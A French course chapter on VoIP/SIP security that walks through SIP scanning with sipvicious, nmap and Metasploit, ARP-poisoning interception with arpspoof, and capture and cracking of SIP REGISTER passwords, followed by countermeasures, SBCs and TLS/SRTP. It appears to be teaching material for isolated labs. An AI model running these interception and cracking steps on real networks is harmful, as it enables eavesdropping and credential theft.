SIP et la sécurité
Ce chapitre attire l’attention du lecteur sur les menaces qui pèsent sur les technologies VoIP/SIP. Il est nécessaire pour les attaques locales de disposer d’un lab de téléphones et de services de téléphonie. Il est fortement recommandé d’isoler entièrement ses essais et de ne cibler que des resources prévues à cet effet. Enfin, on terminera le propos avec des propositions pour la mise en oeuvre de la sécurité des ces communications et avec le rôle d’un périphérique que l’on appelle “Session Border Controller” (SBC).
Les logiciels utilisés dans une distribution comme Kali Linux (voir aussi Katoolin et Kali Linux in the Windows App Store) les suivants :
apt -y install apt -y install \
python-scapy python-pip python-reportlab \
sipvicious sipcrack nmap tshark tcpdump \
metasploit-framework \
git screen
1. Menaces
1.1. Rapport Shodan
- https://www.shodan.io/report/m3PurUVH : SIP-CH-09042017, Search for port:”5060” country:”CH” returned 209,597 results on 08-04-2017
- https://www.shodan.io/report/j1kUlYeF : SIP-BE-04022108 Search for port:”5060” country:”BE” returned 29,506 results on 04-02-2018
- https://www.shodan.io/report/d3HjLPLn : SIP-BE-CHA-04022018 Search for port:”5060” country:”BE” city:”Charleroi” returned 96 results on 04-02-2018
- https://www.shodan.io/report/VdSMYbFZ : SIP-BE-FPBX-04022018 Search for port:”5060” country:”BE” product:”FPBX” returned 171 results on 04-02-2018
- https://www.shodan.io/report/YHAVcxdc : BE-Asterisk-04022108 Search for country:”BE” product:”Asterisk” returned 349 results on 04-02-2018
1.2. Typologie des attaques et des menaces
- Information Gathering, Footprinting and Enumeration
- Monitoring Traffic and eavesdropping Phone calls
- Attacking Authentication
- VLAN Hopping.
- Denial of Service / Flooding.
- Spoofing Caller ID
- Toll fraud
2. Scans SIP
2.1. La suite Sipvicious
Sipvicious est une suite de programme : svmap, svcrack, svwar, svcrash : http://tools.kali.org/sniffingspoofing/sipvicious, https://github.com/EnableSecurity/sipvicious
svmap --help
Usage: svmap [options] host1 host2 hostrange
Scans for SIP devices on a given network
examples:
svmap 10.0.0.1-10.0.0.255 172.16.131.1 sipvicious.org/22 10.0.1.1/241.1.1.1-20 1.1.2-20.* 4.1.*.*
svmap -s session1 --randomize 10.0.0.1/8
svmap --resume session1 -v
svmap -p5060-5062 10.0.0.3-20 -m INVITE
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-v, --verbose Increase verbosity
-q, --quiet Quiet mode
-p PORT, --port=PORT Destination port or port ranges of the SIP device - eg
-p5060,5061,8000-8100
-P PORT, --localport=PORT
Source port for our packets
-x IP, --externalip=IP
IP Address to use as the external ip. Specify this if
you have multiple interfaces or if you are behind NAT
-b BINDINGIP, --bindingip=BINDINGIP
By default we bind to all interfaces. This option
overrides that and binds to the specified ip address
-t SELECTTIME, --timeout=SELECTTIME
This option allows you to trottle the speed at which
packets are sent. Change this if you're losing
packets. For example try 0.5.
-R, --reportback Send the author an exception traceback. Currently
sends the command line parameters and the traceback
-A, --autogetip Automatically get the current IP address. This is
useful when you are not getting any responses back due
to SIPVicious not resolving your local IP.
-s NAME, --save=NAME save the session. Has the benefit of allowing you to
resume a previous scan and allows you to export scans
--resume=NAME resume a previous scan
-c, --enablecompact enable compact mode. Makes packets smaller but
possibly less compatible
--randomscan Scan random IP addresses
-i scan1, --input=scan1
Scan IPs which were found in a previous scan. Pass the
session name as the argument
-I scan1, --inputtext=scan1
Scan IPs from a text file - use the same syntax as
command line but with new lines instead of commas.
Pass the file name as the argument
-m METHOD, --method=METHOD
Specify the request method - by default this is
OPTIONS.
-d, --debug Print SIP messages received
--first=FIRST Only send the first given number of messages (i.e.
usually used to scan only X IPs)
-e EXTENSION, --extension=EXTENSION
Specify an extension - by default this is not set
--randomize Randomize scanning instead of scanning consecutive ip
addresses
--srv Scan the SRV records for SIP on the destination domain
name.The targets have to be domain names - example.org
domain1.com
--fromname=FROMNAME specify a name for the from header
--crashandburn
Premier exemple de capture en ligne avec un message OPTIONS en guise de test :
root@kali:~# svmap 172.16.98.0/24
| SIP Device | User Agent | Fingerprint |
-----------------------------------------------------------
| 172.16.98.224:5060 | Asterisk PBX 13.12.2 | disabled |
ou encore une autre syntaxe plus précise mais probablement moins discrète :
svmap -p5060-5062 192.168.8.10-254 -m INVITE
| SIP Device | User Agent | Fingerprint |
-------------------------------------------------------------------------
| 192.168.8.138:5060 | unknown | disabled |
| 192.168.8.183:5060 | Linphonec/3.12.0 (belle-sip/1.6.3) | disabled |
| 192.168.8.13:5060 | FPBX-14.0.13.4(13.27.0) | disabled |
2.2. Scan SIP avec Nmap
nmap (https://nmap.org/nsedoc/scripts/sip-methods.html)
nmap --script=sip-methods -sU -p 5060 <targets>
3. Attaque ARP Poison Routing (APR)
Cette attaque permet de s’immiscer dans les communications non protégées au sein d’un réseau local (LAN).
3.1. Capture de paquets
Nous avons vu que la capture de paquet ne fournissait des résultats uniquement que pour le trafic livré à l’interface ethernet soit en unicast à destination de la machine elle-même, en broadcast et en multicast transférés d’emblée par les commutateurs.
Dans un environnement LAN commuté, le commutateur transfère directement le trafic en fonction de l’adresse MAC de destination encodée dans les trames Ethernet. Ce sont les hôtes d’origine et de destination qui encodent ces adresses sur base d’un processus ARP.
3.2. Capturer des paquets dans un environnement LAN commuté
Si l’on désire capturer tous les paquets du réseau, on placera un port d’un commutateur Cisco en mode “span” soit en mode mirroir. Si la pratique est acceptable dans le cadre de la surveillance quotidienne du réseau, elle est moins crédible dans le cadre d’audit d’intrusion.
Il pourrait sembler plus simple d’attaquer le commutateur. L’outil macof
de la suite dsniff
vise à saturer la table CAM du commutateur avec des entrées factices. L’effet escompté est que le commutateur tansfère le trafic par tous ses ports à la manière d’un concentrateur Ethernet (Hub). Toutefois, les commutateurs d’entreprise pourraient supporter cette charge. L’auteur obtiendrait tout au plus un déni de service (DOS) peu discret.
3.3. Transfert de trafic dans une attaque APR
Dans un cadre autorisé, on peut s’intéresser à une faiblesse intrinsèque des protocoles TCP/IP sur les réseaux locaux. Elle concerne aussi bien ARP pour IPv4 et Neighbor Discovery pour IPv6. Ici, on s’intéressera uniquement à l’attaque dite APR.
La faiblesse tient au fait que les hôtes TCP/IP ne filtrent pas le trafic ARP. De la même manière aucune authentification de ce trafic n’est aujourd’hui implémentée dans nos réseaux. Les victimes vont accepter du trafic ARP gratuitous gratuitement adressé par le pirate en unicast avec des champs ARP usurpés.
Une attaque APR (ARP Poison Routing) est une attaque d’interception (MiTM) qui consiste pour le pirate à empoisonner le cache ARP des victimes avec sa propre adresse MAC. On peut aussi classer l’attaque comme attaque d’usurpation (spoofing). A condition que le pirate prenne en charge le routage des trames entre les destinations légitimes, la communication ne sera pas interrompue. Le pirate pourra alors observer le trafic entre les victimes de manière transparente. Il est évident que le pirate peut devenir un goulot d’étranglement en fonction du nombre de victimes qu’il usurpe.
L’attaque consiste à empoisonner le cache des victimes avec son adresse MAC en correspondance des adresses IPv4 à usurper et à activer le routage IPv4.
De manière crédule, les victimes vont livrer le trafic au pirate.
Une attaque APR est souvent le préalable d’attaques d’interception (MiTM). Elle intervient sur un LAN sur lequel le pirate dispose d’un accès physique tels qu’un réseau Ethernet ou un réseau Wi-Fi ouvert. Si le réseau sans-fil est sécurisé, il sera nécessaire de le casser pour réaliser cette dernière attaque.
3.4. Détail de l’attaque
Une analyse préalable comme un scan ARP permet d’identifier les stations (une personnalité de l’organisation, un admin) ou les serveurs victimes (téléphonie, courriel, partages, …). La passerelle du réseau local est aussi un cible de choix. L’attaque peut trouver son utilité sur des réseaux ouverts comme des hotspots wi-fi.
Par exemple sous Linux avec arpspoof
, les victimes sont respectivement 192.168.1.100 et 192.168.1.254 :
On installe la suite logicielle dnsiff et on active le routage IPv4
apt-get install dsniff
echo 1 > /proc/sys/net/ipv4/ip_forward
On empoisonne la table ARP de 192.168.1.100 avec une annonce indiquant l’adresse IPv4 de l’autre victime 192.168.1.254 en relation avec l’adresse MAC de l’interface eth0 du pirate.
arpspoof -i eth0 -t 192.168.1.100 192.168.1.254
Ensuite dans un autre terminal, on empoisonne la table ARP de 192.168.1.254 avec une annonce indiquant l’adresse IPv4 de l’autre victime 192.168.1.100 en relation avec l’adresse MAC de l’interface eth0 du pirate.
arpspoof -i eth0 -t 192.168.1.254 192.168.1.100
3.5. Outils d’attaque ARP
On peut réaliser cette attaque sous Linux avec :
- Dsniff (arpspoof)
- Cain sous Windows
- Ethercap
- Packeth
- Scapy
- Yersinia
- …
3.6. Contre-mesures
- Inspection de couche 2
- DAI (Deep ARP Inspection)
- DHCP snooping
- Surveillance
- IDS/IPS
- arpwatch, arpalert, ndpmon, ntop-ng
- Tuning
- Désactiver les “ARP gratuitous”
- Des enregistrements statiques ?
- Design réseau
- Architecture VLAN
- IEEE 802.1X/Radius/EAP/802.11i
- HTTPS, SSH, SIPS, ZRTP
- Infrastructure à clé publique (PKI)
4. Capture de paquets
4.1. Capture SIP / RTP avec tcpdump
tcpdump -i eth0 udp port 5060 or udp portrange 10000-20000 -s 0 -w capture.cap
4.2. Capture SIP / RTP avec tshark
tshark -nq -w capture.cap -f 'udp port 5060'
5. Mot de passe REGISTER
5.1. Dump d’un REGISTER (sans attaque MiTM)
Sipdump prend toutes les requêtes REGISTER et capture les informations utiles dans un fichier spécifique (qui n’est pas en format pcap). Il est capable de se mettre à l’écoute d’une interface (option -i
) ou réalise le dump sur base d’une fichier pcap (option -p
).
Comme “sniffer” :
root@kali:~# sipdump -i eth0 test.dump
SIPdump 0.2 ( MaJoMu | www.codito.de )
---------------------------------------
* Using dev 'eth0' for sniffing
* Starting to sniff with packet filter 'tcp or udp'
* Dumped login from 172.16.98.224 -> 172.16.98.1 (User: 'telephone1')
* Dumped login from 172.16.98.224 -> 172.16.98.1 (User: 'telephone1')
* Dumped login from 172.16.98.224 -> 172.16.98.1 (User: 'telephone1')
Sur une capture préalable :
sipdump -p test_voip.pcap.pcapng test2.dump
SIPdump 0.2
---------------------------------------
* Using pcap file 'sip_captures/test_voip.pcap.pcapng' for sniffing
* Starting to sniff with packet filter 'tcp or udp'
* Dumped login from 192.168.87.86 -> 192.168.87.32 (User: '2003')
* Dumped login from 192.168.87.32 -> 192.168.87.86 (User: '2003')
* Exiting, sniffed 2 logins
5.2. Cassage du mot de passe REGISTER avec un dictionnaire pof.
root@kali:~# echo "1111" > password.lst
root@kali:~# sipcrack -w password.lst test.dump
SIPcrack 0.2 ( MaJoMu | www.codito.de )
----------------------------------------
* Found Accounts:
Num Server Client User Hash|Password
1 172.16.98.1 172.16.98.224 telephone1 aef0698218c9e25f957a6bb7262ff2b4
2 172.16.98.1 172.16.98.224 telephone1 bdebe7e2e51fa2a4a0262ee22c8946c2
3 172.16.98.1 172.16.98.224 telephone1 fd346613dc423e540a1193df1ff02901
* Select which entry to crack (1 - 3): 1
* Generating static MD5 hash... 656b1403125e0d95d6b2c906e49e3d83
* Loaded wordlist: 'password.lst'
* Starting bruteforce against user 'telephone1' (MD5: 'aef0698218c9e25f957a6bb7262ff2b4')
* Tried 1 passwords in 0 seconds
* Found password: '1111'
* Updating dump file 'test'... done
5.3. Cassage du mot de passe REGISTER avec un dictionnaire standard
# sipcrack -w /usr/share/john/password.lst test
SIPcrack 0.2 ( MaJoMu | www.codito.de )
----------------------------------------
* Found Accounts:
Num Server Client User Hash|Password
1 172.16.98.1 172.16.98.224 telephone1 1111
2 172.16.98.1 172.16.98.224 telephone1 bdebe7e2e51fa2a4a0262ee22c8946c2
3 172.16.98.1 172.16.98.224 telephone1 fd346613dc423e540a1193df1ff02901
* Select which entry to crack (1 - 3): 2
* Generating static MD5 hash... 656b1403125e0d95d6b2c906e49e3d83
* Loaded wordlist: '/usr/share/john/password.lst'
* Starting bruteforce against user 'telephone1' (MD5: 'bdebe7e2e51fa2a4a0262ee22c8946c2')
* Tried 754 passwords in 0 seconds
* Found password: '1111'
* Updating dump file 'test'... done
5.4. Crack de l’emprunte avec john
SIP Password Security - How much is yours worth?
mkdir ~/tmp
mkfifo ~/tmp/myfifofile
john --incremental=Digits --stdout=8 > ~/tmp/myfifofile &
sipcrack -w ~/tmp/myfifofile test2.dump
6. Metasploit
# msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.12.22-dev ]
+ -- --=[ 1577 exploits - 906 auxiliary - 272 post ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
Recherche d’attaques avec l’occurrence “voip”.
msf > search voip
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/voip/asterisk_login normal Asterisk Manager Login Utility
auxiliary/voip/cisco_cucdm_call_forward normal Viproy CUCDM IP Phone XML Services - Call Forwarding Tool
auxiliary/voip/cisco_cucdm_speed_dials normal Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool
auxiliary/voip/sip_deregister normal SIP Deregister Extension
auxiliary/voip/sip_invite_spoof normal SIP Invite Spoof
auxiliary/voip/telisca_ips_lock_control 2015-12-17 normal Telisca IPS Lock Cisco IP Phone Control
post/multi/escalate/allwinner_backdoor 2016-04-30 normal Allwinner 3.4 Legacy Kernel Local Privilege Escalation
Recherche d’attaques avec le mot clé “sip”
msf > search sip
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/sip/enumerator normal SIP Username Enumerator (UDP)
auxiliary/scanner/sip/enumerator_tcp normal SIP Username Enumerator (TCP)
auxiliary/scanner/sip/options normal SIP Endpoint Scanner (UDP)
auxiliary/scanner/sip/options_tcp normal SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/sipdroid_ext_enum normal SIPDroid Extension Grabber
auxiliary/server/capture/sip normal Authentication Capture: SIP
auxiliary/voip/sip_deregister normal SIP Deregister Extension
auxiliary/voip/sip_invite_spoof normal SIP Invite Spoof
exploit/windows/browser/aol_icq_downloadagent 2006-11-06 excellent America Online ICQ ActiveX Control Arbitrary File Download and Execute
exploit/windows/local/agnitum_outpost_acs 2013-08-02 excellent Agnitum Outpost Internet Security Local Privilege Escalation
exploit/windows/sip/aim_triton_cseq 2006-07-10 great AIM Triton 1.0.4 CSeq Buffer Overflow
exploit/windows/sip/sipxezphone_cseq 2006-07-10 great SIPfoundry sipXezPhone 0.35a CSeq Field Overflow
exploit/windows/sip/sipxphone_cseq 2006-07-10 great SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow
Exemple d’attaque.
D’abord activer le module “auxiliary/scanner/sip/options”
msf > use auxiliary/scanner/sip/options
Ensuite, vérifier les paramètres.
msf auxiliary(options) > show options
Module options (auxiliary/scanner/sip/options):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS yes The target address range or CIDR identifier
RPORT 5060 yes The target port
THREADS 10 yes The number of concurrent threads
TO nobody no The destination username to probe at each hos
Ensuite fixer la variable RHOSTS.
msf auxiliary(options) > set RHOSTS 172.16.98.0/24
RHOSTS => 172.16.98.0/24
Enfin lancer l’attaque.
msf auxiliary(options) > run
[*] Sending SIP UDP OPTIONS requests to 172.16.98.0->172.16.98.255 (256 hosts)
[*] 172.16.98.224:5060 udp SIP/2.0 401 Unauthorized: {"Server"=>"Asterisk PBX 13.12.2"}
[*] 172.16.98.224:5060 udp SIP/2.0 401 Unauthorized: {"Server"=>"Asterisk PBX 13.12.2"}
[*] 172.16.98.224:5060 udp SIP/2.0 401 Unauthorized: {"Server"=>"Asterisk PBX 13.12.2"}
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
7. Autres outiles et Frameworks
7.1. Frameworks
- VIPROY - VoIP Pen-Test Kit for Metasploit Framework : https://github.com/fozavci/viproy-voipkit
- Pentest : https://github.com/sanvil/vsaudit
- VLAN Hopping : http://voiphopper.sourceforge.net/
- Pentest : https://github.com/jesusprubio/bluebox-ng
7.2. Denial Of Service
Des plus bêtes et des plus violentes attaques qui ne se tarissent pas.
- Inviteflood
- Rtpflood
- Iaxflood
- Teardown
8. Manipulation de trafic VoiP (forges, générateurs)
On citera ici quelques outils de référence open-source parmi certainement beaucoup d’autres.
8.1. Outils de forge génériques
- Scapy : voir des exemples sur https://github.com/unregistered436/scapy ou sur SIP OPTIONS with Scapy
- Ostinato Network Traffic Generator and Analyzer
8.2. Outils de forge dédiés SIP
- Sipp : SIPp is a free Open Source test tool / traffic generator for the SIP protocol.
- SIPPing : SIPPing is a simple SIP packet forging tool written in pure Python.
En dédicace à http://www.backtrack-linux.org/wiki/index.php/Pentesting_VOIP.
9. Protection d’un infrastructure SIP
Les éléments fondamentaux de sécurité peuvent être identifiés par l’acronyme CIA : Confidentialy Integrity Authentication. On peut y ajouter d’autres éléments tels que la non-répudiation, le non-rejeu, etc. mais ces trois éléments, confidentialité, intégrité et authentification sont un bon points de départ.
Aussi, il est important d’identifier les zones (leur localisation) soumises aux menaces : l’exposition privée (interne/intra/inter) et publique (des serveurs SIP exposés publiquement).
Certaines menaces demandent des réponses appropriées mais elles sont toujours à évaluer sur base d’une étude de risque.
Enfin, nul n’est bien ou mal intentionné : plus simplement, il n’y aucune raison d’offrir à d’éventuels intrus une occasion d’accéder ou d’endommager les données ou les services que nous gérons.
Si on suit ce point de vue, certes sommaire mais simple, quelques mesures de sécurité par conception (security by design) semblent assez évidentes :
- gestion parcimonieuse des mises-à-jour logicielles (tous périphériques confondus), maintenance, support, …
- séparation stricte des flux (gestion, voip, data et autres)
- imposer des politiques de mots de passe forts (longueur, variabilité, imposé, régularité de modification), voire utiliser des authentification à clés asymétriques
- passer à une infrastructure PKI (Public Key Infrastructure) permettant un déploiement robuste de TLS (pour SIP)
- tout chiffrer nativement (TLS, SIPS, SRTP, ZRTP, IAX) ou à travers des tunnels IPSEC
- se soucier du filtrage et du comportement sur les interfaces avec des pare-feux (de tout type, voir plus bas) et/ou des systèmes de détection d’intrusion (tel que Snort par exemple)
9.1. Propositions du RFC 3261
Le RFC 3261, section 26, énonce une série d’attaques classiques et de contre-mesures dans un cadre où les communications et services SIP sont exposées publiquement sur Internet :
Menaces :
- Capture d’enregistrement
- Usurpation du nom d’un serveur
- Altération des corps de message
- Suppression de sessions
- Déni de service et amplification
Contre-mesures :
- Sécurité des couches Transport (TLS) et Réseau (IPSEC)
- Schéma d’URI SIPS
- Authentification HTTP
- Chiffrement S/MIME
9.2. Solutions en bordure
Si on ne peut faire autrement que d’exposer SIP sur des adresses publiques, diverses mesures sont à envisager en bordure de l’architecture :
- Pare-feu
- Pare-feu lié à l’applicatif (de type fail2ban)
- Pare-feu Applicatif
- Un SBC, Session Border Controller
- Confier le service à un prestataire d’envergure
9.3. Solutions internes
- Séparation des flux gestion, data, voip, etc. (VLANs)
- Chiffrement et authentification
10. Session Border Controller (SBC)
“Session Border Controllers (SBCs)” est un terme qui identifie une catégorie de marché et qui n’est renseigné dans aucun standard (RFC 7092, 4.3. Session Border Controllers)
Cependant, le RFC 5853 (2010) de catégorie “Informational”, intitulé “Requirements from Session Initiation Protocol (SIP) Session Border Control (SBC) Deployments”, offre des informations sur la nature du périphérique appelé comme tel.
Le but du document est de décrire les fonctions implémentées dans les SBCs. Les auteurs ont accordé une attention particulière aux pratiques qui entrent en conflit d’une manière ou d’une autre avec les principes d’architecture du protocole SIP. Le document explore également les raisons sous-jacentes qui ont conduit les opérateurs du réseau à l’utilisation de ces différentes fonctions et leur mise en oeuvre.
Le terme “Session Border Controller” (SBC) est un terme relativement indéterminé dans le sens où il n’est ni standardisé ni vraiment défini à aucun endroit.
Les SBCs se situent habituellement entre deux réseaux de fournisseurs de services dans un environnement de “peering” ou entre un réseau d’accès et un réseau de backbone. On est donc très éloigné des moyens et des besoins de petites et moyennes entreprises.
Ils fournissent une variété de fonctions pour activer ou améliorer les services multimédias basés sur des sessions (par exemple, la voix sur IP). Ces fonctions comprennent:
- la défense de périmètre (contrôle d’accès, dissimulation de topologie, prévention et déni de service);
- fonctionnalité non disponible sur les points d’extrémité (NAT Traversal, inter-opérabilité ou réparation de protocole);
- la gestion du trafic (surveillance des médias et qualité de service (QoS)).
Le document “Market Guide for Enterprise SBC” de Gartner du 29 décembre 2017 sera certainement une aide utile pour évaluer les solutions et les tendances actuelles du marché. En terme de parts de marché, en 2015, Cisco et Audiocodes augmentaient leur parts contre Sonus et Oracle (Infonetics’ quarterly enterprise SBC report, March 2015). Il reste seulement 40 % de parts de marché aux autres acteurs.
L’étude de marché de Gartner sur les SBCs donne de informations sur les offres commerciales. En général, le nombre de connexions simultanées à gérer par le périphérique donnera une fourchette de prix quant à la solution envisagée. Par ailleurs, on notera que Gartner définit précisément l’offre E-SBC avec d’autant plus d’inspiration que le RFC 5853.
Le document Avaya SBCE 7.0 Security Configuration and Best Practices Guide, le catalogue SIP eSBCs de Patton, ou encore SBC R7.0 - Introduction de AudioCodes peuvent donner une idée des recommandations des acteurs du marché.
11. Signalisation et transport sécurisés
D’autres sources d’informations plus encyclopédiques ou plus opérationnelles s’évertuent à expliquer les architectures PKI, leurs mécanismes, leurs implications, leurs protocoles et leur déploiement.
Plusieurs éléments sont toutefois à prendre en compte :
- La validité des certificats
- La gestion des certificats
- Le périmètre de déploiement
- La capacité et la configuration des postes terminaux
On peut se référer à quelques guides de déploiement mais on est encore très loin des contraintes pratiques que l’on rencontrera dans la réalité. Il est bien sûr toujours plus facile de partir d’une page blanche ou d’une situation nouvelle technique et culturelle alors que cette réalité nous confronte souvent à des situations hétérogènes difficiles à intégrer. Mais l’heure n’est certainement pas au renoncement au contraire car ces technologies commencent à se démocratiser.
Deux protocoles sécurisé ont la faveur du marché :
- SIP sur TLS (SIPS) pour la signalisation.
- SRTP pour le transport (RFC 3711).
Sécurité Astersik
Le wiki d’Asterisk Secure Calling Tutorial donne une bonne idée des opérations sur un client et un serveur pour déployer TLS en chan_pjsip et chan_sip ainsi qu’en SRTP.
On notera les capacités intéressantes du protocoles IAX de transporter le media et la signalisation nativement dans des tunnels sécurisés en AES. Cette solution open-source traverse particulièrement bien les pare-feux en bordure d’un Internet entre des serveurs protégés.
Sécurité Kamailio
Sécurité FreeSWITCH
- https://freeswitch.org/confluence/display/FREESWITCH/Security
- https://freeswitch.org/confluence/display/FREESWITCH/Certificates
- https://freeswitch.org/confluence/display/FREESWITCH/Fail2Ban
- https://freeswitch.org/confluence/display/FREESWITCH/SIP+TLS
- https://freeswitch.org/confluence/display/FREESWITCH/SSL%2C+SSLv2%2C+SSLv3